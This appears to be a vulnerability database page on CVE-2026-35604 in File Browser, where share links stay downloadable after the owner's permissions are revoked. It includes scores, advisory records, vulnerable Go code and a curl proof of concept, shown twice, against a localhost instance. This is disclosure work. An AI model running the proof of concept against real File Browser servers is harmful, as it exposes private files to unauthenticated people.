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CVE-2026-35604

File Browser share links remain accessible after Share/Download permissions are revoked

8.2 HighFix available

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.34%Up 0.3 points since Apr 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

File Browser share links remain accessible after Share/Download permissions are revoked

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.

Record
CVE-2026-35604
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-863
Updated
2026-11-02
EUVDEUVD-2026-19776 8.2

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.

Record
EUVD-2026-19776
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-v9w4-gm2x-6rvf 8.2

File Browser share links remain accessible after Share/Download permissions are revoked

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).

Details

Share creation (http/share.go:21-29) correctly checks permissions:

func withPermShare(fn handleFunc) handleFunc {
    return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if !d.user.Perm.Share || !d.user.Perm.Download {
            return http.StatusForbidden, nil
        }
        return fn(w, r, d)
    })
}

But share access (http/public.go:18-87, withHashFile) does not:

var withHashFile = func(fn handleFunc) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists
        authenticateShareRequest(r, link)            // line 26: checks password
        user, err := d.store.Users.Get(...)          // line 31: checks user exists
        d.user = user                                // line 36: sets user
        file, err := files.NewFileInfo(...)           // line 38: gets file
        // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
    }
}

Proof of Concept (runtime-verified)

# Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"<admin-password>"}')

# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":[],"current_password":"<admin-password>",
       "data":{"username":"testuser","password":"TestPass123!","scope":".",
       "perm":{"share":true,"download":true,"create":true}}}'

# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}

# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)

# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":["all"],"current_password":"<admin-password>",
       "data":{"id":2,"username":"testuser","scope":".",
       "perm":{"share":false,"download":false,"create":true}}}'

# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)

# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403

Impact

When an admin revokes a user's Share or Download permissions:

  • New share creation is correctly blocked (403)
  • But all existing shares created by that user remain fully accessible to unauthenticated users
  • The admin has a false sense of security: they believe revoking Share permission stops all sharing

This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").

Suggested Fix

Add permission re-validation in withHashFile:

user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {

…

Record
GHSA-v9w4-gm2x-6rvf
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-863
Updated
2026-11-02
NVD 8.2

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.

Record
CVE-2026-35604
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-863
Updated
2026-11-02
OSV 8.2

File Browser share links remain accessible after Share/Download permissions are revoked

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.

Record
CVE-2026-35604
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-863
Updated
2026-11-02
OSVGHSA-v9w4-gm2x-6rvf 8.2

File Browser share links remain accessible after Share/Download permissions are revoked

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).

Details

Share creation (http/share.go:21-29) correctly checks permissions:

func withPermShare(fn handleFunc) handleFunc {
    return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if !d.user.Perm.Share || !d.user.Perm.Download {
            return http.StatusForbidden, nil
        }
        return fn(w, r, d)
    })
}

But share access (http/public.go:18-87, withHashFile) does not:

var withHashFile = func(fn handleFunc) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists
        authenticateShareRequest(r, link)            // line 26: checks password
        user, err := d.store.Users.Get(...)          // line 31: checks user exists
        d.user = user                                // line 36: sets user
        file, err := files.NewFileInfo(...)           // line 38: gets file
        // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
    }
}

Proof of Concept (runtime-verified)

# Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"<admin-password>"}')

# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":[],"current_password":"<admin-password>",
       "data":{"username":"testuser","password":"TestPass123!","scope":".",
       "perm":{"share":true,"download":true,"create":true}}}'

# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}

# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)

# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":["all"],"current_password":"<admin-password>",
       "data":{"id":2,"username":"testuser","scope":".",
       "perm":{"share":false,"download":false,"create":true}}}'

# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)

# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403

Impact

When an admin revokes a user's Share or Download permissions:

  • New share creation is correctly blocked (403)
  • But all existing shares created by that user remain fully accessible to unauthenticated users
  • The admin has a false sense of security: they believe revoking Share permission stops all sharing

This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").

Suggested Fix

Add permission re-validation in withHashFile:

user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {

…

Record
GHSA-v9w4-gm2x-6rvf
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-863
Updated
2026-11-02
OSVGO-2026-5659 No score

File Browser share links remain accessible after Share/Download permissions are revoked in github.com/filebrowser/filebrowser

File Browser share links remain accessible after Share/Download permissions are revoked in github.com/filebrowser/filebrowser

Record
GO-2026-5659
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/filebrowser/filebrowser/v2
Go
 before 2.63.1
2.63.1
github.com/filebrowser/filebrowser
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35604 is a high vulnerability (CVSS 8.2) in Filebrowser, published April 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 28th percentile. Fixed in github.com/filebrowser/filebrowser/v2 2.63.1.

References

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